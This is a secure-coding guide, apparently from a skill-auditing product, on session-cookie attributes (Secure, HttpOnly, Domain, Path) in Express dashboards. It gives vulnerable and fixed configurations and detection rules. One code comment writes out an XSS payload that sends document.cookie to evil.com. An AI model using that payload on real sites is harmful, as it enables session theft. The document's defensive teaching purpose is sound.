Claude skill secure cookie security — SA-SKL-SSECOOKIE
MCP skills with web dashboards or OAuth flows set session and auth cookies that determine who can view audit reports and manage subscriptions. Four missing cookie attributes expose those cookies to distinct attacks: absent Secure flag allows HTTP interception on corporate networks, absent HttpOnly allows XSS-driven session theft, an overly broad Domain scope extends the cookie to all subdomains including those susceptible to takeover, and Path=/ serves the cookie to routes that have no authentication requirement. SA-SKL-SSECOOKIE covers all four patterns with the attack mechanics and correct Express session configuration.
Why cookie attributes are a first-class security concern in MCP skill web UIs
An MCP skill's audit API may itself be stateless (JWT-authenticated), but the web dashboard that surfaces audit results to team members typically uses session cookies. Those cookies are the authentication tokens for viewing private audit reports, managing team seats, and accessing billing. A stolen session cookie provides the same access as a stolen password — typically with no MFA challenge required, because the attacker presents a valid session. Each missing attribute is a distinct theft vector with its own exploitation path.
SA-SKL-SSECOOKIE in scope: SSECOOKIE-001 (missing Secure flag), SSECOOKIE-002 (missing HttpOnly flag), SSECOOKIE-003 (overly broad Domain scope), SSECOOKIE-004 (overly broad Path scope). Each pattern includes SkillAudit detection rules and Express session remediation configuration.
SSECOOKIE-001 — Missing Secure flag allows HTTP interception
The Secure cookie attribute instructs browsers to transmit the cookie only over HTTPS connections. Without it, the cookie is sent over both HTTP and HTTPS. On networks where an attacker can intercept HTTP traffic — corporate WiFi, coffee shop networks, transparent proxy setups — the plaintext cookie value is visible in the HTTP request headers. This is not a theoretical attack: corporate network monitoring appliances routinely log all HTTP traffic, and any HTTP request to http://skillaudit.dev (before the HTTPS redirect) would include the session cookie.
// VULNERABLE: express-session without Secure flag
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
// MISSING: secure: true
// Cookie is transmitted over HTTP as well as HTTPS
// Network observer sees: Cookie: session=s%3A... in plaintext
maxAge: 24 * 60 * 60 * 1000, // 24 hours
}
}));
// FIXED: secure: true + proxy trust for load-balanced deployments
app.set('trust proxy', 1); // Required if behind nginx/Caddy — Express sees X-Forwarded-Proto
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true, // Only send over HTTPS
sameSite: 'strict', // Additional CSRF protection
maxAge: 24 * 60 * 60 * 1000,
},
store: new RedisStore({ client: redisClient }), // server-side session storage
}));
// Verify with curl:
// curl -I https://skillaudit.dev/login → Set-Cookie: session=...; Secure; HttpOnly
// curl -I http://skillaudit.dev/login → redirect only, no Set-Cookie
secure: true; session cookie transmitted over HTTP connections; network observer (corporate proxy, WiFi interception) captures plaintext cookie value and replays it. Fix: { secure: true } in session cookie options + app.set('trust proxy', 1) if behind a reverse proxy. Detection: SkillAudit AST rule flags express-session() or cookieSession() calls where the cookie options object does not include secure: true.SSECOOKIE-002 — Missing HttpOnly flag allows XSS session theft
The HttpOnly attribute prevents client-side JavaScript from reading the cookie via document.cookie. Without it, any XSS vulnerability in the skill's dashboard — an unescaped finding title, a reflected query parameter, an injected markdown link — can exfiltrate the session cookie with a single fetch() call to an attacker-controlled domain. HttpOnly does not prevent CSRF (the browser still sends the cookie on cross-origin requests), but it eliminates the most common XSS-to-session-hijack attack chain.
// VULNERABLE: missing httpOnly flag — XSS can read document.cookie
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
// MISSING: httpOnly: true
// JavaScript can read: document.cookie → "session=s%3A..."
// Any XSS payload: fetch('https://evil.com/?c='+document.cookie)
maxAge: 24 * 60 * 60 * 1000,
}
}));
// FIXED: httpOnly: true (also add SameSite for defense in depth)
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Cannot be read by document.cookie
secure: true,
sameSite: 'strict',
maxAge: 24 * 60 * 60 * 1000,
}
}));
// Verify:
// curl -I https://skillaudit.dev/login | grep Set-Cookie
// → Set-Cookie: session=...; Path=/; HttpOnly; Secure; SameSite=Strict
httpOnly: true; document.cookie returns session token value; any XSS vulnerability in the dashboard (unescaped finding title, reflected query param) enables session hijacking via one-line exfiltration. Fix: { httpOnly: true } in session cookie options. Detection: SkillAudit AST rule flags session/auth cookie setup missing httpOnly: true.SSECOOKIE-003 — Overly broad Domain scope includes subdomain takeover targets
Setting Domain=.skillaudit.dev (with a leading dot) in the cookie's Domain attribute instructs browsers to send the cookie to all subdomains of skillaudit.dev, including api.skillaudit.dev, static.skillaudit.dev, docs.skillaudit.dev, and any subdomain that may be claimed in the future. If any subdomain becomes dangling — pointing to a deprovisioned cloud resource that an attacker registers — the attacker's server will receive the session cookie from every user who visits that subdomain. This is a subdomain takeover pivot: the attacker does not need an XSS vulnerability, just a dangling DNS entry.
// VULNERABLE: Domain=.skillaudit.dev scope includes all subdomains
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true,
secure: true,
domain: '.skillaudit.dev', // VULNERABLE: leading dot = all subdomains
// If 'old-docs.skillaudit.dev' CNAME points to deprovisioned S3 bucket,
// attacker registers that bucket → receives session cookies from all users
maxAge: 24 * 60 * 60 * 1000,
}
}));
// FIXED: omit Domain attribute entirely (restricts to exact host only)
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
// No 'domain' attribute: browser scopes cookie to exact hostname 'skillaudit.dev'
// Not sent to api.skillaudit.dev, docs.skillaudit.dev, etc.
maxAge: 24 * 60 * 60 * 1000,
}
}));
// If the API is on a different subdomain and needs the session cookie,
// use a separate API key or JWT — do not widen the cookie scope to cover it.
domain: '.skillaudit.dev'; cookie sent to all subdomains including dangling or attacker-controlled subdomains; subdomain takeover yields session cookie without any XSS vulnerability. Fix: omit domain attribute to restrict to exact hostname; use separate auth mechanism (JWT/API key) for cross-subdomain API access. Detection: SkillAudit AST rule flags any domain option value starting with a dot in session cookie configuration.SSECOOKIE-004 — Path=/ exposes session cookie to all routes unnecessarily
The Path cookie attribute limits the URL paths for which the browser sends the cookie. Path=/ (the default) sends the session cookie with every request to every route on the domain — including unauthenticated error pages, static asset handlers, public health check endpoints, and any route an attacker can reach. While this does not create a direct vulnerability by itself, it increases exposure in two ways: (1) every request surface that processes the cookie is a potential session fixation or CSRF attack vector, and (2) if any route has an injection vulnerability, it can access the cookie via server-side request context even without HttpOnly bypass.
// CURRENT: Path=/ — session cookie sent with every request to skillaudit.dev
app.use(session({
cookie: {
httpOnly: true,
secure: true,
// Path defaults to '/' — cookie sent to:
// GET /static/app.js (no auth needed, but cookie is sent)
// GET /health (public health check, cookie is sent)
// GET /api/skill/run_audit (needs auth — expected)
// GET /error (error handler, cookie is sent)
// Every route that receives the cookie is a potential attack surface
}
}));
// IMPROVED: scope session cookie to authenticated path prefix
// Use separate cookie config for API vs dashboard if architecturally possible
// For API-only session cookies:
app.use('/api', session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api', // Only sent to /api/* routes
maxAge: 24 * 60 * 60 * 1000,
}
}));
// Static assets, health checks, public pages: no session cookie attached
// Reduces attack surface for any injection vulnerabilities on public routes
Path=/; cookie transmitted on every request to every route including public, unauthenticated, and static asset routes; unnecessarily widens the attack surface for session-adjacent vulnerabilities. Fix: scope path to /api or the authenticated route prefix; use separate session configuration per route group. Detection: SkillAudit flags session configurations where path is explicitly set to / or omitted (default /) without route-scoped session mounting.